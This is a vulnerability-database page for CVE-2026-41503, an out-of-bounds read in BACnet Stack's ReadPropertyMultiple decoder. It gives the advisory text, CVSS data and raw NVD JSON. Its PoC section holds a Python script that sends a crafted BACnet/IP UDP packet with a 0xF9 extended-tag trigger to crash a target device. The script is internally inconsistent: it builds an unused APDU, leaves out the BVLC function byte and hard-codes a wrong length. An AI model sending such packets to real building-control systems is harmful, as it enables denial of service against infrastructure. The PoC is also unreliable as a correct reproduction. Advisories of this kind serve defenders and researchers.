Security Vulnerability Report
中文
CVE-2026-41503 CVSS 7.5 HIGH

CVE-2026-41503

Published: 2026-04-24 20:16:29
Last Modified: 2026-04-28 15:30:16

Description

BACnet Stack is a BACnet open source protocol stack C library for embedded systems. Prior to 1.4.3, an out-of-bounds read vulnerability in bacnet-stack's ReadPropertyMultiple service property decoder allows unauthenticated remote attackers to read past allocated buffer boundaries by sending an RPM request with a truncated property list. The vulnerability stems from rpm_decode_object_property() calling the deprecated decode_tag_number_and_value() function at src/bacnet/rpm.c:344, which accepts no buffer length parameter and reads blindly from whatever pointer it receives. A crafted BACnet/IP packet with a 1-byte property payload containing an extended tag marker (0xF9) causes the decoder to read 1 byte past the end of the buffer, leading to crashes on embedded BACnet devices. The vulnerability exists in src/bacnet/rpm.c and affects any deployment that enables the ReadPropertyMultiple confirmed service handler (enabled by default in the reference server). This vulnerability is fixed in 1.4.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:bacnetstack:bacnet_stack:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc1:*:*:*:*:*:* - VULNERABLE
BACnet Stack < 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target IP and Port (BACnet default is 47808) TARGET_IP = "192.168.1.100" TARGET_PORT = 47808 # BACnet/IP Header + NPDU + APDU construction # This is a simplified PoC demonstrating the crafted packet # causing the out-of-bounds read described in the vulnerability. # The specific trigger is a truncated property list with tag 0xF9. def create_malicious_packet(): # BACnet/IP Header ( BVLC ) bvlc_type = b'\x81' # Original-Unicast-NPDU bvlc_len = b'\x00\x0a' # Length # NPDU (Network Layer) npdu = b'\x01' # Version npdu += b'\x10' # Control: expecting reply # APDU (Application Layer) # ReadPropertyMultiple Request (PDU type 14) apdu = b'\x0E' # Invoke ID apdu += b'\x01' # Object Identifier (Device, Instance 123) apdu += b'\x0C\x00\x00\x7B' # Property Reference List # Opening tag for property list apdu += b'\x1E' # Property Identifier: objectList (77) apdu += b'\x4D' # Opening tag for property array index apdu += b'\x1E' # Array Index (optional) apdu += b'\x01' # Closing tag for property array index apdu += b'\x1F' # Closing tag for property list apdu += b'\x1F' # The vulnerability description mentions a 1-byte property payload with 0xF9. # Let's construct a payload that simulates the read of an extended tag # where the subsequent bytes are missing. # Trigger: Extended tag marker 0xF9 followed by insufficient bytes. # Malicious payload segment replacing the standard property structure # to hit the specific decode path. malicious_payload = b'\x0E\x01\x0C\x00\x00\x7B' # Header part malicious_payload += b'\x1E' # Start list malicious_payload += b'\xF9' # Extended tag marker (The trigger) # Missing extended tag value bytes here causes the OOB read return bvlc_type + bvlc_len + npdu + malicious_payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) packet = create_malicious_packet() print(f"Sending malicious packet to {TARGET_IP}:{TARGET_PORT}") sock.sendto(packet, (TARGET_IP, TARGET_PORT)) print("Packet sent.") except Exception as e: print(f"Error: {e}") finally: sock.close()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41503", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:28.697", "lastModified": "2026-04-28T15:30:15.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BACnet Stack is a BACnet open source protocol stack C library for embedded systems. Prior to 1.4.3, an out-of-bounds read vulnerability in bacnet-stack's ReadPropertyMultiple service property decoder allows unauthenticated remote attackers to read past allocated buffer boundaries by sending an RPM request with a truncated property list. The vulnerability stems from rpm_decode_object_property() calling the deprecated decode_tag_number_and_value() function at src/bacnet/rpm.c:344, which accepts no buffer length parameter and reads blindly from whatever pointer it receives. A crafted BACnet/IP packet with a 1-byte property payload containing an extended tag marker (0xF9) causes the decoder to read 1 byte past the end of the buffer, leading to crashes on embedded BACnet devices. The vulnerability exists in src/bacnet/rpm.c and affects any deployment that enables the ReadPropertyMultiple confirmed service handler (enabled by default in the reference server). This vulnerability is fixed in 1.4.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.4.3", "matchCriteriaId": "9BAD4B36-9061-453C-9C23-231993F1E69E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "2B47182E-6B7F-4C53-904A-EB37C9C0A439"}]}]}], "references": [{"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-5w2v-mwqj-pr2c", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit", "Mitigation"]}, {"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-5w2v-mwqj-pr2c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit", "Mitigation"]}]}}